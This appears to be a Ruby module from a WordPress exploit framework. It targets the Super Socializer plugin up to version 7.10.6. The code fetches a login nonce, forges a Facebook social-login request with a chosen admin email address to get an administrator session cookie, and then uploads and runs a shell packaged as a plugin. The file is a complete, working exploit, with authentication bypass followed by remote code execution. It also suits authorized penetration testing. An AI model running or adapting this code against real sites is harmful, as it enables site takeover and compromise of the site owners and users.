# frozen_string_literal: true

class Wpxf::Exploit::SuperSocializerShellUpload < Wpxf::Module
  include Wpxf
  include Wpxf::Net::HttpClient
  include Wpxf::WordPress::Plugin
  include Wpxf::WordPress::Login

  def initialize
    super

    update_info(
      name: 'Super Socializer <= 7.10.6 Authentication Bypass',
      desc: %(
        Super Socializer <= 7.10.6 is vulnerable to an
        authentication bypass exploit if an attacker is
        in posession of an admin's e-mail address and the
        social login feature is enabled.

        This module will acquire an admin session by utilising
        the aforementioned vulnerability and upload a shell
        packaged as a WordPress plugin.
      ),
      author: [
        'rastating' # WPXF module
      ],
      references: [
        ['WPVDB', '9043']
      ],
      date: 'Mar 03 2018'
    )

    register_options([
      StringOption.new(
        name: 'admin_email',
        desc: 'The e-mail address of the admin user to authenticate as',
        required: true
      )
    ])
  end

  def check
    check_plugin_version_from_readme('super-socializer', '7.10.7')
  end

  def fetch_nonce
    emit_info 'Fetching a login nonce...'
    res = execute_get_request(url: wordpress_url_login)
    return false unless res&.code == 200

    pattern = /var\sthe_champ_sl_ajax_token\s=\s{"ajax_url":".+?","security":"([a-z0-9]+?)"};/i
    self.login_nonce = res.body[pattern, 1]

    if login_nonce.nil?
      emit_error 'Failed to fetch a login nonce'
      return false
    else
      emit_success "Found nonce: #{login_nonce}", true
      return true
    end
  end

  def login
    res = execute_post_request(
      url: wordpress_url_admin_ajax,
      body: {
        'action' => 'the_champ_user_auth',
        'security' => login_nonce,
        'profileData[id]' => Wpxf::Utility::Text.rand_alpha(6),
        'profileData[link]' => Wpxf::Utility::Text.rand_alpha(6),
        'profileData[name]' => Wpxf::Utility::Text.rand_alpha(6),
        'profileData[email]' => datastore['admin_email'],
        'profileData[first_name]' => Wpxf::Utility::Text.rand_alpha(6),
        'profileData[last_name]' => Wpxf::Utility::Text.rand_alpha(6),
        'provider' => 'facebook',
        'redirectionUrl' => full_uri
      }
    )

    return false unless res&.cookies

    if valid_wordpress_cookie?(res.cookies.to_s)
      self.session_cookie = res.cookies.to_s
      return res.cookies
    else
      emit_error 'Failed to authenticate'
      return false
    end
  end

  def run
    return false unless super
    return false unless fetch_nonce

    emit_info "Authenticating as #{datastore['admin_email']}..."
    return false unless login

    emit_info 'Uploading payload...'
    res = upload_payload_as_plugin_and_execute(
      Utility::Text.rand_alpha(10),
      Utility::Text.rand_alpha(10),
      session_cookie
    )

    !res.nil?
  end

  attr_accessor :session_cookie
  attr_accessor :login_nonce
end
